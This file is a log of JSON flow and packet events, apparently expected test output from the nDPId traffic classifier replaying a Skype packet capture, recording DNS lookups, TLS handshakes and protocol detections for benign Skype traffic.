+00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"skype.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1431969642969,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49903,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":969264,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6a7MAAEARi4zAqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00631{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"skype.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1431969642969,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49903,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"ui.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00422{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":9186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0ZFRAAHYGwpmdOH7TwKgBIgG7w2wloXFX7P6CtoAQ\/LXRwAAAAQEIChksGpY+Ioy2"} +00508{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":9234,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"0NQSxnP1PBXCt3IOCABFAABvm8pAAEAGwOjAqAEinTh+08NsAbvs\/oK2JaFxV4AY\/\/\/bRAAAAQEICj4ijdQZLBqWFAMBAAEBFgMBADDh1P2DFckZhZIzor4Rd7jotjMfxJZ2UzpT6K+Q5gEAtsfbN\/CWzx7cD1P81jQ1G+s="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"skype.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1431969643037,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51879,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":37502,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"0NQSxnP1PBXCt3IOCABFAABEXycAAEARmA7AqAEiwKgBAcqnADUAMDQMD6ABAAABAAAAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":48,"source":"skype.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1431969643037,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51879,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00436{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":44621,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAjuUAAEARaFTAqAEiwKgBAcALADUALIa2zTYBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00436{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":44901,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAZzYAAEARkAPAqAEiwKgBAeA+ADUALBXIHdcBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00465{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":92602,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"PBXCt3IO0NQSxnP1CABFAABUAABAAEARtyXAqAEBwKgBIgA1yqcAQLnbD6CBgAABAAEAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAAgABBfOIaY="} +00668{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":51,"source":"skype.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1431969643037,"flow_last_seen":1431969643092,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51879,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.206.33.166"}} +00509{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":92605,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"PBXCt3IO0NQSxnP1CABFAABvZhBAAHYGwKKdOH7TwKgBIgG7w2wloXFX7P6C8YAY\/HoykQAAAQEIChksGp0+Io3UFAMBAAEBFgMBADAEIZ9QnHrxVn\/WY8oun0Tyt3xxzcNsOk\/T+WDRxQ8\/8kzjS7L\/TKzBpAcOCtF1Dsw="} +00426{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":92714,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EOJAAEAGTAzAqAEinTh+08NsAbvs\/oLxJaFxkoAQ\/\/\/MiAAAAQEICj4ijicZLBqd"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"skype.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1431969643093,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":50029,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":93209,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAi9JAAEAGs6fAqAEiF84hpsNtAbuewXptAAAAALAC\/\/+RHQAAAgQFtAEDAwUBAQgKPiKOJwAAAAAEAgAA"} +00434{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":138907,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ThhAAEAGCoHAqAEiQTffIcNqnEKAlL7NMr3ZNIAYECi\/vwAAAQEICj4ijlRNl5tsq7xG5CK7Tso="} +00434{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":139721,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADkGRn4XziGmwKgBIgG7w20Yoc3insF6bqASOJBNnAAAAgQFrAQCCArsLkk6PiKOJwEDAwU="} +00422{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":139799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0z0xAAEAGcDnAqAEiF84hpsNtAbuewXpuGKHN44AQECyklQAAAQEICj4ijlTsLkk6"} +00675{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":140579,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtyndAAEAGdFXAqAEiF84hpsNtAbuewXpuGKHN44AYECz6mwAAAQEICj4ijlXsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"skype.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1431969643093,"flow_last_seen":1431969643140,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":32,"flow_max_l4_data_len":217,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":50029,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"apps.skype.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00442{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":186457,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDNYcAAEARwa\/AqAEiwKgBAdmfADUAL7TEHKMBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00441{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":186535,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABD3H8AAEARGrfAqAEiwKgBAc5yADUAL8ad+vYBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00433{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":343162,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7eVIAAEARfezAqAEiwKgBAdR8ADUAJ+nL8sABAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00433{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":343240,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7NGoAAEARwtTAqAEiwKgBAf+SADUAJwCOlegBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00438{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":343328,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+gSAAAEARdhvAqAEiwKgBAcKBADUAKu5ghe0BAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAAAEAAQ=="} +00438{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":343414,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+7pYAAEARCKXAqAEiwKgBAf4VADUAKsDYd8YBAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAABwAAQ=="} +00684{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":359119,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADzKeRAAEAG7VXAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECzzhQAAAQEICj4ijy7301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00675{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":477980,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtA4pAAEAGO0PAqAEiF84hpsNtAbuewXpuGKHN44AYECz5TAAAAQEICj4ij6TsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00455{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":486691,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK1twAAEARIFPAqAEiwKgBAd\/IADUANro4UU4BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAABwAAQ=="} +00455{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":486838,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKJUgAAEAR0efAqAEiwKgBAcNGADUANrH\/diQBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAAAEAAQ=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"skype.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1431969643944,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":50030,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":944313,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAYXlAAEAG9xvAqAEiQTffIcNuAbtcUOQ7AAAAALAC\/\/9\/kQAAAgQFtAEDAwUBAQgKPiKRcAAAAAAEAgAA"} +00676{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":954910,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtWwFAAEAG48vAqAEiF84hpsNtAbuewXpuGKHN44AYECz3dgAAAQEICj4ikXrsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":112,"source":"skype.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1431969643971,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":60288,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":971809,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLW5oAAEARm5TAqAEiwKgBAeuAADUAN9PqYyoBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":112,"source":"skype.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1431969643971,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":60288,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"skype.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1431969643972,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57726,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969643,"pkt_ts_usec":972025,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLe5YAAEARe5jAqAEiwKgBAeF+ADUAN7bIb04BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"skype.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1431969643972,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57726,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00433{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969644,"pkt_ts_usec":2391,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8sH5AAEAGqBrAqAEiQTffIcNqnEKAlL7NMr3ZNIAYECi8awAAAQEICj4ikahNl5tsq7xG5CK7Tso="} +00430{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969644,"pkt_ts_usec":54609,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6xBwAAEARMyPAqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00437{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969644,"pkt_ts_usec":55126,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXA0AAEARmyzAqAEiwKgBAcALADUALIa2zTYBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00439{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969644,"pkt_ts_usec":55184,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAi\/oAAEARaz\/AqAEiwKgBAeA+ADUALBXIHdcBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00435{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969644,"pkt_ts_usec":100455,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYZlBN98hwKgBIgG7w24uYYHqXFDkPKASOJC9NAAAAgQFrAQCCApNl5zhPiKRcAEDAwk="} +00423{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969644,"pkt_ts_usec":100527,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0M2pAAEAGJTfAqAEiQTffIcNuAbtcUOQ8LmGB64AQECwTyAAAAQEICj4ikgdNl5zh"} 